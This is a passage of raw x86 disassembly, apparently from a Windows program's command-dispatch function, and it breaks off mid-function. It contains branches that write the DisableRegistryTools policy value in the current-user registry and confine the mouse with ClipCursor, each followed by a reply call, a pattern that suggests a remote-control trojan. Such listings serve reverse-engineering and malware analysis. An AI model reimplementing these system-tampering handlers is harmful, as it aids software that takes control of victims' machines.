dec dword [ebp - 0x4ac]
lea eax, [ebp - 0x2d0]
mov edx, 2
call fcn.00474d44
jmp 0x419a93
mov word [ebp - 0x4b8], 0x71c
mov edx, 0x48cedf
lea eax, [ebp - 0x2d4]
call fcn.00474b48
inc dword [ebp - 0x4ac]
mov ecx, dword [eax]
push ecx
mov ax, word [ebp - 0x4ce]
push eax
mov edx, dword [ebp - 8]
push edx
call fcn.00404000
add esp, 0xc
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0x2d4]
mov edx, 2
call fcn.00474d44
jmp 0x419a93
mov ecx, dword [ebp - 0x4d4]
xor eax, eax
push ecx
lea ecx, [ebp - 0x2d8]
mov word [ebp - 0x4b8], 0x728
mov dword [ebp - 0x2d8], eax
mov eax, esi
inc dword [ebp - 0x4ac]
mov edx, 1
mov edi, dword [eax]
call dword [edi + 0xc]
mov eax, dword [ebp - 0x2d8]
test eax, eax
je 0x41753f
mov edx, dword [ebp - 0x2d8]
jmp 0x417544
mov edx, 0x48cef4
push edx
xor eax, eax
mov dword [ebp - 0x2dc], eax
mov eax, esi
inc dword [ebp - 0x4ac]
xor edx, edx
mov edi, dword [eax]
lea ecx, [ebp - 0x2dc]
call dword [edi + 0xc]
mov eax, dword [ebp - 0x2dc]
test eax, eax
je 0x417574
mov edx, dword [ebp - 0x2dc]
jmp 0x417579
mov edx, 0x48cef3
push edx
call fcn.0040c74c
add esp, 0xc
test eax, eax
sete al
and eax, 1
mov edx, 2
push eax
lea eax, [ebp - 0x2dc]
dec dword [ebp - 0x4ac]
call fcn.00474d44
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0x2d8]
mov edx, 2
call fcn.00474d44
pop ecx
test cl, cl
je 0x41760d
mov word [ebp - 0x4b8], 0x734
mov edx, 0x48cef5
lea eax, [ebp - 0x2e0]
call fcn.00474b48
inc dword [ebp - 0x4ac]
mov ecx, dword [eax]
push ecx
mov ax, word [ebp - 0x4ce]
push eax
mov edx, dword [ebp - 8]
push edx
call fcn.00404000
add esp, 0xc
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0x2e0]
mov edx, 2
call fcn.00474d44
jmp 0x419a93
mov word [ebp - 0x4b8], 0x740
mov edx, 0x48cf09
lea eax, [ebp - 0x2e4]
call fcn.00474b48
inc dword [ebp - 0x4ac]
mov ecx, dword [eax]
push ecx
mov ax, word [ebp - 0x4ce]
push eax
mov edx, dword [ebp - 8]
push edx
call fcn.00404000
add esp, 0xc
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0x2e4]
mov edx, 2
call fcn.00474d44
jmp 0x419a93
mov ecx, dword [ebp - 0x4d4]
xor eax, eax
push ecx
lea ecx, [ebp - 0x2e8]
mov word [ebp - 0x4b8], 0x74c
mov dword [ebp - 0x2e8], eax
mov eax, esi
inc dword [ebp - 0x4ac]
mov edx, 1
mov edi, dword [eax]
call dword [edi + 0xc]
mov eax, dword [ebp - 0x2e8]
test eax, eax
je 0x4176a0
mov edx, dword [ebp - 0x2e8]
jmp 0x4176a5
mov edx, 0x48cf1e
push edx
xor eax, eax
mov dword [ebp - 0x2ec], eax
mov eax, esi
inc dword [ebp - 0x4ac]
xor edx, edx
mov edi, dword [eax]
lea ecx, [ebp - 0x2ec]
call dword [edi + 0xc]
mov eax, dword [ebp - 0x2ec]
test eax, eax
je 0x4176d5
mov edx, dword [ebp - 0x2ec]
jmp 0x4176da
mov edx, 0x48cf1d
push edx
call fcn.0040d1a4
add esp, 0xc
test eax, eax
sete al
and eax, 1
mov edx, 2
push eax
lea eax, [ebp - 0x2ec]
dec dword [ebp - 0x4ac]
call fcn.00474d44
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0x2e8]
mov edx, 2
call fcn.00474d44
pop ecx
test cl, cl
je 0x41776e
mov word [ebp - 0x4b8], 0x758
mov edx, 0x48cf1f
lea eax, [ebp - 0x2f0]
call fcn.00474b48
inc dword [ebp - 0x4ac]
mov ecx, dword [eax]
push ecx
mov ax, word [ebp - 0x4ce]
push eax
mov edx, dword [ebp - 8]
push edx
call fcn.00404000
add esp, 0xc
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0x2f0]
mov edx, 2
call fcn.00474d44
jmp 0x419a93
mov word [ebp - 0x4b8], 0x764
mov edx, 0x48cf35
lea eax, [ebp - 0x2f4]
call fcn.00474b48
inc dword [ebp - 0x4ac]
mov ecx, dword [eax]
push ecx
mov ax, word [ebp - 0x4ce]
push eax
mov edx, dword [ebp - 8]
push edx
call fcn.00404000
add esp, 0xc
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0x2f4]
mov edx, 2
call fcn.00474d44
jmp 0x419a93
mov word [ebp - 0x4b8], 0x770
xor ecx, ecx
mov eax, esi
mov dword [ebp - 0x2f8], ecx
lea ecx, [ebp - 0x2f8]
inc dword [ebp - 0x4ac]
xor edx, edx
mov edi, dword [eax]
call dword [edi + 0xc]
mov eax, dword [ebp - 0x2f8]
test eax, eax
je 0x4177f7
mov edx, dword [ebp - 0x2f8]
jmp 0x4177fc
mov edx, 0x48cf4b
lea eax, [ebp - 0xb24]
call fcn.0045fc94
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0x2f8]
mov edx, 2
call fcn.00474d44
mov ecx, dword [ebp - 0x4d4]
xor eax, eax
push ecx
lea ecx, [ebp - 0x2fc]
mov word [ebp - 0x4b8], 0x77c
mov dword [ebp - 0x2fc], eax
mov eax, esi
inc dword [ebp - 0x4ac]
xor edx, edx
mov edi, dword [eax]
call dword [edi + 0xc]
mov eax, dword [ebp - 0x2fc]
test eax, eax
je 0x41785c
mov edx, dword [ebp - 0x2fc]
jmp 0x417861
mov edx, 0x48cf4c
push edx
call fcn.0040da20
add esp, 8
test eax, eax
jne 0x417888
mov eax, dword [ebp - 0x4d4]
push eax
lea ecx, [ebp - 0xb24]
push ecx
call fcn.0040d6cc
add esp, 8
test eax, eax
je 0x41788c
xor eax, eax
jmp 0x417891
mov eax, 1
push eax
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0x2fc]
mov edx, 2
call fcn.00474d44
pop ecx
test cl, cl
je 0x4178fe
mov word [ebp - 0x4b8], 0x788
mov edx, 0x48cf4d
lea eax, [ebp - 0x300]
call fcn.00474b48
inc dword [ebp - 0x4ac]
mov ecx, dword [eax]
push ecx
mov ax, word [ebp - 0x4ce]
push eax
mov edx, dword [ebp - 8]
push edx
call fcn.00404000
add esp, 0xc
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0x300]
mov edx, 2
call fcn.00474d44
jmp 0x419a93
mov word [ebp - 0x4b8], 0x794
mov edx, 0x48cf53
lea eax, [ebp - 0x304]
call fcn.00474b48
inc dword [ebp - 0x4ac]
mov ecx, dword [eax]
push ecx
mov ax, word [ebp - 0x4ce]
push eax
mov edx, dword [ebp - 8]
push edx
call fcn.00404000
add esp, 0xc
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0x304]
mov edx, 2
call fcn.00474d44
jmp 0x419a93
push esi
lea edi, [ebp - 0xc24]
mov esi, 0x48b0b7
mov ecx, pe_nt_image_headers32
rep movsd dword es:[edi], dword [esi]
pop esi
lea eax, [ebp - 0xc24]
mov word [ebp - 0x4b8], 8
push eax
xor ecx, ecx
mov edx, dword [ebp - 0x4d4]
mov eax, esi
push edx
mov word [ebp - 0x4b8], 0x7a0
mov dword [ebp - 0x308], ecx
lea ecx, [ebp - 0x308]
inc dword [ebp - 0x4ac]
xor edx, edx
mov edi, dword [eax]
call dword [edi + 0xc]
mov eax, dword [ebp - 0x308]
test eax, eax
je 0x4179b2
mov edx, dword [ebp - 0x308]
jmp 0x4179b7
mov edx, 0x48cf67
push edx
call fcn.0040b6e0
add esp, 0xc
test eax, eax
sete al
and eax, 1
mov edx, 2
push eax
lea eax, [ebp - 0x308]
dec dword [ebp - 0x4ac]
call fcn.00474d44
pop ecx
test cl, cl
je 0x417a76
mov word [ebp - 0x4b8], 0x7ac
lea edx, [ebp - 0xc24]
lea eax, [ebp - 0x30c]
call fcn.00474b48
inc dword [ebp - 0x4ac]
mov edx, eax
xor eax, eax
lea ecx, [ebp - 0x310]
mov dword [ebp - 0x310], eax
mov eax, 0x48cf68
inc dword [ebp - 0x4ac]
call fcn.00475018
lea edx, [ebp - 0x310]
mov ecx, dword [edx]
push ecx
mov ax, word [ebp - 0x4ce]
push eax
mov edx, dword [ebp - 8]
push edx
call fcn.00404000
add esp, 0xc
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0x310]
mov edx, 2
call fcn.00474d44
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0x30c]
mov edx, 2
call fcn.00474d44
jmp 0x419a93
mov word [ebp - 0x4b8], 0x7b8
mov edx, 0x48cf7d
lea eax, [ebp - 0x314]
call fcn.00474b48
inc dword [ebp - 0x4ac]
mov ecx, dword [eax]
push ecx
mov ax, word [ebp - 0x4ce]
push eax
mov edx, dword [ebp - 8]
push edx
call fcn.00404000
add esp, 0xc
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0x314]
mov edx, 2
call fcn.00474d44
jmp 0x419a93
mov ecx, dword [ebp - 0x4d4]
xor eax, eax
push ecx
lea ecx, [ebp - 0x318]
mov word [ebp - 0x4b8], 0x7c4
mov dword [ebp - 0x318], eax
mov eax, esi
inc dword [ebp - 0x4ac]
xor edx, edx
mov edi, dword [eax]
call dword [edi + 0xc]
mov eax, dword [ebp - 0x318]
test eax, eax
je 0x417b06
mov edx, dword [ebp - 0x318]
jmp 0x417b0b
mov edx, 0x48cf91
push edx
call fcn.0040c484
add esp, 8
test eax, eax
sete al
and eax, 1
mov edx, 2
push eax
lea eax, [ebp - 0x318]
dec dword [ebp - 0x4ac]
call fcn.00474d44
pop ecx
test cl, cl
je 0x417b89
mov word [ebp - 0x4b8], 0x7d0
mov edx, 0x48cf92
lea eax, [ebp - 0x31c]
call fcn.00474b48
inc dword [ebp - 0x4ac]
mov ecx, dword [eax]
push ecx
mov ax, word [ebp - 0x4ce]
push eax
mov edx, dword [ebp - 8]
push edx
call fcn.00404000
add esp, 0xc
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0x31c]
mov edx, 2
call fcn.00474d44
jmp 0x419a93
mov word [ebp - 0x4b8], 0x7dc
mov edx, 0x48cfa6
lea eax, [ebp - 0x320]
call fcn.00474b48
inc dword [ebp - 0x4ac]
mov ecx, dword [eax]
push ecx
mov ax, word [ebp - 0x4ce]
push eax
mov edx, dword [ebp - 8]
push edx
call fcn.00404000
add esp, 0xc
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0x320]
mov edx, 2
call fcn.00474d44
jmp 0x419a93
mov word [ebp - 0x4b8], 0x7e8
xor ecx, ecx
mov eax, esi
mov dword [ebp - 0x324], ecx
lea ecx, [ebp - 0x324]
inc dword [ebp - 0x4ac]
mov edx, 1
mov edi, dword [eax]
call dword [edi + 0xc]
lea eax, [ebp - 0x324]
xor ecx, ecx
mov edx, dword [eax]
mov eax, esi
push edx
mov dword [ebp - 0x328], ecx
inc dword [ebp - 0x4ac]
xor edx, edx
mov edi, dword [eax]
lea ecx, [ebp - 0x328]
call dword [edi + 0xc]
lea eax, [ebp - 0x328]
mov edx, dword [eax]
push edx
call fcn.0040e100
add esp, 8
mov edx, 2
push eax
lea eax, [ebp - 0x328]
dec dword [ebp - 0x4ac]
call fcn.00474d44
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0x324]
mov edx, 2
call fcn.00474d44
pop ecx
test cl, cl
je 0x417cbd
mov word [ebp - 0x4b8], 0x7f4
mov edx, 0x48cfba
lea eax, [ebp - 0x32c]
call fcn.00474b48
inc dword [ebp - 0x4ac]
mov ecx, dword [eax]
push ecx
mov ax, word [ebp - 0x4ce]
push eax
mov edx, dword [ebp - 8]
push edx
call fcn.00404000
add esp, 0xc
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0x32c]
mov edx, 2
call fcn.00474d44
jmp 0x419a93
mov word [ebp - 0x4b8], 0x800
mov edx, 0x48cfce
lea eax, [ebp - 0x330]
call fcn.00474b48
inc dword [ebp - 0x4ac]
mov ecx, dword [eax]
push ecx
mov ax, word [ebp - 0x4ce]
push eax
mov edx, dword [ebp - 8]
push edx
call fcn.00404000
add esp, 0xc
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0x330]
mov edx, 2
call fcn.00474d44
jmp 0x419a93
mov ecx, dword [ebp - 0x4d4]
xor eax, eax
push ecx
lea ecx, [ebp - 0x334]
mov word [ebp - 0x4b8], 0x80c
mov dword [ebp - 0x334], eax
mov eax, esi
inc dword [ebp - 0x4ac]
mov edx, 1
mov edi, dword [eax]
call dword [edi + 0xc]
mov eax, dword [ebp - 0x334]
test eax, eax
je 0x417d50
mov edx, dword [ebp - 0x334]
jmp 0x417d55
mov edx, 0x48cfe3
push edx
xor eax, eax
mov dword [ebp - 0x338], eax
mov eax, esi
inc dword [ebp - 0x4ac]
xor edx, edx
mov edi, dword [eax]
lea ecx, [ebp - 0x338]
call dword [edi + 0xc]
mov eax, dword [ebp - 0x338]
test eax, eax
je 0x417d85
mov edx, dword [ebp - 0x338]
jmp 0x417d8a
mov edx, 0x48cfe2
push edx
xor eax, eax
mov al, byte [0x48a754]
push eax
call fcn.0040cc9c
add esp, 0x10
test eax, eax
sete cl
and ecx, 1
lea eax, [ebp - 0x338]
push ecx
mov edx, 2
dec dword [ebp - 0x4ac]
call fcn.00474d44
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0x334]
mov edx, 2
call fcn.00474d44
pop ecx
test cl, cl
je 0x417e26
mov word [ebp - 0x4b8], 0x818
mov edx, 0x48cfe4
lea eax, [ebp - 0x33c]
call fcn.00474b48
inc dword [ebp - 0x4ac]
mov ecx, dword [eax]
push ecx
mov ax, word [ebp - 0x4ce]
push eax
mov edx, dword [ebp - 8]
push edx
call fcn.00404000
add esp, 0xc
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0x33c]
mov edx, 2
call fcn.00474d44
jmp 0x419a93
mov word [ebp - 0x4b8], 0x824
mov edx, 0x48cffa
lea eax, [ebp - 0x340]
call fcn.00474b48
inc dword [ebp - 0x4ac]
mov ecx, dword [eax]
push ecx
mov ax, word [ebp - 0x4ce]
push eax
mov edx, dword [ebp - 8]
push edx
call fcn.00404000
add esp, 0xc
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0x340]
mov edx, 2
call fcn.00474d44
jmp 0x419a93
mov dl, 1
mov eax, dword [0x428428]
call fcn.00428568
mov dword [ebp - 0x508], eax
mov edx, 0x80000001
mov word [ebp - 0x4b8], 8
mov eax, dword [ebp - 0x508]
call fcn.00474b40
mov word [ebp - 0x4b8], 0x830
mov edx, 0x48d010
lea eax, [ebp - 0x344]
call fcn.00474b48
inc dword [ebp - 0x4ac]
mov edx, dword [eax]
mov cl, 1
mov eax, dword [ebp - 0x508]
call fcn.0042875c
push eax
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0x344]
mov edx, 2
call fcn.00474d44
pop ecx
test cl, cl
je 0x417f85
mov word [ebp - 0x4b8], 0x83c
mov edx, 0x48d04a
lea eax, [ebp - 0x348]
call fcn.00474b48
inc dword [ebp - 0x4ac]
mov edx, dword [eax]
mov ecx, 1
mov eax, dword [ebp - 0x508]
call fcn.00428b7c
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0x348]
mov edx, 2
call fcn.00474d44
mov word [ebp - 0x4b8], 0x848
mov edx, 0x48d05f
lea eax, [ebp - 0x34c]
call fcn.00474b48
inc dword [ebp - 0x4ac]
mov ecx, dword [eax]
push ecx
mov ax, word [ebp - 0x4ce]
push eax
mov edx, dword [ebp - 8]
push edx
call fcn.00404000
add esp, 0xc
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0x34c]
mov edx, 2
call fcn.00474d44
jmp 0x417fd1
mov word [ebp - 0x4b8], 0x854
mov edx, 0x48d06f
lea eax, [ebp - 0x350]
call fcn.00474b48
inc dword [ebp - 0x4ac]
mov ecx, dword [eax]
push ecx
mov ax, word [ebp - 0x4ce]
push eax
mov edx, dword [ebp - 8]
push edx
call fcn.00404000
add esp, 0xc
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0x350]
mov edx, 2
call fcn.00474d44
mov ecx, dword [ebp - 0x508]
mov dword [ebp - 0x358], ecx
mov eax, dword [ebp - 0x358]
test eax, eax
je 0x419a93
mov edx, dword [ebp - 0x358]
mov ecx, dword [edx]
mov dword [ebp - 0x354], ecx
mov word [ebp - 0x4b8], 0x86c
mov edx, 3
mov eax, dword [ebp - 0x358]
mov ecx, dword [eax]
call dword [ecx - 4]
mov word [ebp - 0x4b8], 0x860
jmp 0x419a93
mov dl, 1
mov eax, dword [0x428428]
call fcn.00428568
mov dword [ebp - 0x50c], eax
mov edx, 0x80000001
mov word [ebp - 0x4b8], 8
mov eax, dword [ebp - 0x50c]
call fcn.00474b40
mov word [ebp - 0x4b8], 0x878
mov edx, str.SoftwareMicrosoftWindowsCurrentVersionPoliciesSystem
lea eax, [ebp - 0x35c]
call fcn.00474b48
inc dword [ebp - 0x4ac]
mov edx, dword [eax]
mov cl, 1
mov eax, dword [ebp - 0x50c]
call fcn.0042875c
push eax
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0x35c]
mov edx, 2
call fcn.00474d44
pop ecx
test cl, cl
je 0x41812b
mov word [ebp - 0x4b8], 0x884
mov edx, str.DisableRegistryTools
lea eax, [ebp - 0x360]
call fcn.00474b48
inc dword [ebp - 0x4ac]
mov edx, dword [eax]
xor ecx, ecx
mov eax, dword [ebp - 0x50c]
call fcn.00428b7c
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0x360]
mov edx, 2
call fcn.00474d44
mov word [ebp - 0x4b8], 0x890
mov edx, 0x48d0ce
lea eax, [ebp - 0x364]
call fcn.00474b48
inc dword [ebp - 0x4ac]
mov ecx, dword [eax]
push ecx
mov ax, word [ebp - 0x4ce]
push eax
mov edx, dword [ebp - 8]
push edx
call fcn.00404000
add esp, 0xc
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0x364]
mov edx, 2
call fcn.00474d44
jmp 0x418177
mov word [ebp - 0x4b8], 0x89c
mov edx, 0x48d0de
lea eax, [ebp - 0x368]
call fcn.00474b48
inc dword [ebp - 0x4ac]
mov ecx, dword [eax]
push ecx
mov ax, word [ebp - 0x4ce]
push eax
mov edx, dword [ebp - 8]
push edx
call fcn.00404000
add esp, 0xc
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0x368]
mov edx, 2
call fcn.00474d44
mov ecx, dword [ebp - 0x50c]
mov dword [ebp - 0x370], ecx
mov eax, dword [ebp - 0x370]
test eax, eax
je 0x419a93
mov edx, dword [ebp - 0x370]
mov ecx, dword [edx]
mov dword [ebp - 0x36c], ecx
mov word [ebp - 0x4b8], 0x8b4
mov edx, 3
mov eax, dword [ebp - 0x370]
mov ecx, dword [eax]
call dword [ecx - 4]
mov word [ebp - 0x4b8], 0x8a8
jmp 0x419a93
mov word [ebp - 0x4b8], 0x8c0
xor eax, eax
lea ecx, [ebp - 0x374]
mov dword [ebp - 0x374], eax
mov eax, esi
inc dword [ebp - 0x4ac]
xor edx, edx
mov edi, dword [eax]
call dword [edi + 0xc]
lea eax, [ebp - 0x374]
call fcn.00474e58
dec eax
jl 0x41824c
xor edx, edx
mov eax, esi
mov dword [ebp - 0x378], edx
mov edx, 1
inc dword [ebp - 0x4ac]
lea ecx, [ebp - 0x378]
mov edi, dword [eax]
call dword [edi + 0xc]
lea eax, [ebp - 0x378]
call fcn.00474e58
dec eax
setl dl
and edx, 1
lea eax, [ebp - 0x378]
push edx
mov edx, 2
dec dword [ebp - 0x4ac]
call fcn.00474d44
pop ecx
test ecx, ecx
jne 0x41824c
xor eax, eax
jmp 0x418251
mov eax, 1
push eax
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0x374]
mov edx, 2
call fcn.00474d44
pop ecx
test cl, cl
je 0x4182be
mov word [ebp - 0x4b8], 0x8cc
mov edx, 0x48d0ee
lea eax, [ebp - 0x37c]
call fcn.00474b48
inc dword [ebp - 0x4ac]
mov ecx, dword [eax]
push ecx
mov ax, word [ebp - 0x4ce]
push eax
mov edx, dword [ebp - 8]
push edx
call fcn.00404000
add esp, 0xc
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0x37c]
mov edx, 2
call fcn.00474d44
jmp 0x419a93
mov word [ebp - 0x4b8], 0x8d8
xor ecx, ecx
mov eax, esi
mov dword [ebp - 0x380], ecx
lea ecx, [ebp - 0x380]
inc dword [ebp - 0x4ac]
mov edx, 1
mov edi, dword [eax]
call dword [edi + 0xc]
mov eax, dword [ebp - 0x380]
test eax, eax
je 0x4182f9
mov edx, dword [ebp - 0x380]
jmp 0x4182fe
mov edx, 0x48d103
push edx
xor eax, eax
mov dword [ebp - 0x384], eax
mov eax, esi
inc dword [ebp - 0x4ac]
xor edx, edx
mov edi, dword [eax]
lea ecx, [ebp - 0x384]
call dword [edi + 0xc]
mov eax, dword [ebp - 0x384]
test eax, eax
je 0x41832e
mov edx, dword [ebp - 0x384]
jmp 0x418333
mov edx, 0x48d102
push edx
xor eax, eax
mov al, byte [0x48a754]
push eax
call fcn.00404c94
add esp, 0xc
mov edx, 2
push eax
lea eax, [ebp - 0x384]
dec dword [ebp - 0x4ac]
call fcn.00474d44
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0x380]
mov edx, 2
call fcn.00474d44
pop ecx
test ecx, ecx
je 0x4183c7
mov word [ebp - 0x4b8], 0x8e4
mov edx, 0x48d104
lea eax, [ebp - 0x388]
call fcn.00474b48
inc dword [ebp - 0x4ac]
mov ecx, dword [eax]
push ecx
mov ax, word [ebp - 0x4ce]
push eax
mov edx, dword [ebp - 8]
push edx
call fcn.00404000
add esp, 0xc
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0x388]
mov edx, 2
call fcn.00474d44
jmp 0x419a93
mov word [ebp - 0x4b8], 0x8f0
mov edx, 0x48d116
lea eax, [ebp - 0x38c]
call fcn.00474b48
inc dword [ebp - 0x4ac]
mov ecx, dword [eax]
push ecx
mov ax, word [ebp - 0x4ce]
push eax
mov edx, dword [ebp - 8]
push edx
call fcn.00404000
add esp, 0xc
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0x38c]
mov edx, 2
call fcn.00474d44
jmp 0x419a93
mov word [ebp - 0x4b8], 0x8fc
xor ecx, ecx
mov eax, esi
mov dword [ebp - 0x390], ecx
lea ecx, [ebp - 0x390]
inc dword [ebp - 0x4ac]
xor edx, edx
mov edi, dword [eax]
call dword [edi + 0xc]
lea eax, [ebp - 0x390]
call fcn.00474e58
dec eax
setl dl
and edx, 1
lea eax, [ebp - 0x390]
push edx
mov edx, 2
dec dword [ebp - 0x4ac]
call fcn.00474d44
pop ecx
test cl, cl
je 0x4184bd
mov word [ebp - 0x4b8], 0x908
mov edx, 0x48d128
lea eax, [ebp - 0x394]
call fcn.00474b48
inc dword [ebp - 0x4ac]
mov ecx, dword [eax]
push ecx
mov ax, word [ebp - 0x4ce]
push eax
mov edx, dword [ebp - 8]
push edx
call fcn.00404000
add esp, 0xc
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0x394]
mov edx, 2
call fcn.00474d44
jmp 0x419a93
mov word [ebp - 0x4b8], 0x914
xor ecx, ecx
mov eax, esi
mov dword [ebp - 0x398], ecx
lea ecx, [ebp - 0x398]
inc dword [ebp - 0x4ac]
xor edx, edx
mov edi, dword [eax]
call dword [edi + 0xc]
mov eax, dword [ebp - 0x398]
test eax, eax
je 0x4184f5
mov edx, dword [ebp - 0x398]
jmp 0x4184fa
mov edx, 0x48d136
push edx
xor eax, eax
mov al, byte [0x48a754]
push eax
call fcn.00404db0
add esp, 8
mov edx, 2
push eax
lea eax, [ebp - 0x398]
dec dword [ebp - 0x4ac]
call fcn.00474d44
pop ecx
test ecx, ecx
je 0x418578
mov word [ebp - 0x4b8], 0x920
mov edx, 0x48d137
lea eax, [ebp - 0x39c]
call fcn.00474b48
inc dword [ebp - 0x4ac]
mov ecx, dword [eax]
push ecx
mov ax, word [ebp - 0x4ce]
push eax
mov edx, dword [ebp - 8]
push edx
call fcn.00404000
add esp, 0xc
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0x39c]
mov edx, 2
call fcn.00474d44
jmp 0x419a93
mov word [ebp - 0x4b8], 0x92c
mov edx, 0x48d149
lea eax, [ebp - 0x3a0]
call fcn.00474b48
inc dword [ebp - 0x4ac]
mov ecx, dword [eax]
push ecx
mov ax, word [ebp - 0x4ce]
push eax
mov edx, dword [ebp - 8]
push edx
call fcn.00404000
add esp, 0xc
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0x3a0]
mov edx, 2
call fcn.00474d44
jmp 0x419a93
mov ecx, dword [ebp - 0x4d4]
xor eax, eax
mov al, byte [0x48a754]
push ecx
push eax
call fcn.00404e14
add esp, 8
test eax, eax
je 0x418698
mov eax, dword [ebp - 0x4d4]
mov edx, dword [eax]
call dword [edx + 0x14]
dec eax
jge 0x418647
mov word [ebp - 0x4b8], 0x938
mov edx, 0x48d15b
lea eax, [ebp - 0x3a4]
call fcn.00474b48
inc dword [ebp - 0x4ac]
mov ecx, dword [eax]
push ecx
mov ax, word [ebp - 0x4ce]
push eax
mov edx, dword [ebp - 8]
push edx
call fcn.00404000
add esp, 0xc
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0x3a4]
mov edx, 2
call fcn.00474d44
jmp 0x419a93
mov word [ebp - 0x4b8], 0x944
mov edx, 0x48d167
lea eax, [ebp - 0x3a8]
call fcn.00474b48
inc dword [ebp - 0x4ac]
mov ecx, dword [eax]
push ecx
mov ax, word [ebp - 0x4ce]
push eax
mov edx, dword [ebp - 8]
push edx
call fcn.00404000
add esp, 0xc
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0x3a8]
mov edx, 2
call fcn.00474d44
jmp 0x419a93
mov word [ebp - 0x4b8], 0x950
mov edx, 0x48d16d
lea eax, [ebp - 0x3ac]
call fcn.00474b48
inc dword [ebp - 0x4ac]
mov ecx, dword [eax]
push ecx
mov ax, word [ebp - 0x4ce]
push eax
mov edx, dword [ebp - 8]
push edx
call fcn.00404000
add esp, 0xc
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0x3ac]
mov edx, 2
call fcn.00474d44
jmp 0x419a93
mov ecx, dword [ebp - 0x4d4]
xor eax, eax
mov al, byte [0x48a754]
push ecx
push eax
call fcn.0040509c
add esp, 8
test eax, eax
je 0x418755
mov word [ebp - 0x4b8], 0x95c
mov edx, 0x48d17f
lea eax, [ebp - 0x3b0]
call fcn.00474b48
inc dword [ebp - 0x4ac]
mov edx, dword [eax]
push edx
mov cx, word [ebp - 0x4ce]
push ecx
mov eax, dword [ebp - 8]
push eax
call fcn.00404000
add esp, 0xc
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0x3b0]
mov edx, 2
call fcn.00474d44
jmp 0x419a93
mov word [ebp - 0x4b8], 0x968
mov edx, 0x48d185
lea eax, [ebp - 0x3b4]
call fcn.00474b48
inc dword [ebp - 0x4ac]
mov ecx, dword [eax]
push ecx
mov ax, word [ebp - 0x4ce]
push eax
mov edx, dword [ebp - 8]
push edx
call fcn.00404000
add esp, 0xc
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0x3b4]
mov edx, 2
call fcn.00474d44
jmp 0x419a93
mov word [ebp - 0x4b8], 0x974
xor ecx, ecx
mov eax, esi
mov dword [ebp - 0x3b8], ecx
lea ecx, [ebp - 0x3b8]
inc dword [ebp - 0x4ac]
xor edx, edx
mov edi, dword [eax]
call dword [edi + 0xc]
lea eax, [ebp - 0x3b8]
mov eax, dword [eax]
call fcn.0045f6f4
mov dword [ebp - 0xc30], eax
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0x3b8]
mov edx, 2
call fcn.00474d44
mov word [ebp - 0x4b8], 0x980
xor ecx, ecx
mov eax, esi
mov dword [ebp - 0x3bc], ecx
lea ecx, [ebp - 0x3bc]
inc dword [ebp - 0x4ac]
mov edx, 1
mov edi, dword [eax]
call dword [edi + 0xc]
lea eax, [ebp - 0x3bc]
mov eax, dword [eax]
call fcn.0045f6f4
mov dword [ebp - 0xc28], eax
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0x3bc]
mov edx, 2
call fcn.00474d44
mov word [ebp - 0x4b8], 0x98c
xor ecx, ecx
mov eax, esi
mov dword [ebp - 0x3c0], ecx
lea ecx, [ebp - 0x3c0]
inc dword [ebp - 0x4ac]
mov edx, 2
mov edi, dword [eax]
call dword [edi + 0xc]
lea eax, [ebp - 0x3c0]
mov eax, dword [eax]
call fcn.0045f6f4
mov dword [ebp - 0xc34], eax
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0x3c0]
mov edx, 2
call fcn.00474d44
mov word [ebp - 0x4b8], 0x998
xor ecx, ecx
mov eax, esi
mov dword [ebp - 0x3c4], ecx
lea ecx, [ebp - 0x3c4]
inc dword [ebp - 0x4ac]
mov edx, 3
mov edi, dword [eax]
call dword [edi + 0xc]
lea eax, [ebp - 0x3c4]
mov eax, dword [eax]
call fcn.0045f6f4
mov dword [ebp - 0xc2c], eax
dec dword [ebp - 0x4ac]
lea eax, [ebp - 0x3c4]
mov edx, 2
call fcn.00474d44
lea ecx, [ebp - 0xc34]
push ecx
call sub.USER32.DLL_ClipCursor
test eax, eax
je 0x41894c
mov word [ebp - 0x4b8], 0x9a4
mov edx, 0x48d197
lea eax, [ebp - 0x3c8]
call fcn.00474b48
inc dword [ebp - 0x4ac]
mov ecx, dword [eax]
push ecx
mov ax, word [ebp - 0x4ce]
push eax
mov edx, dword [ebp - 8]
push edx
call fcn.00404000
add esp, 0xc
dec dword [ebp - 0x4ac]
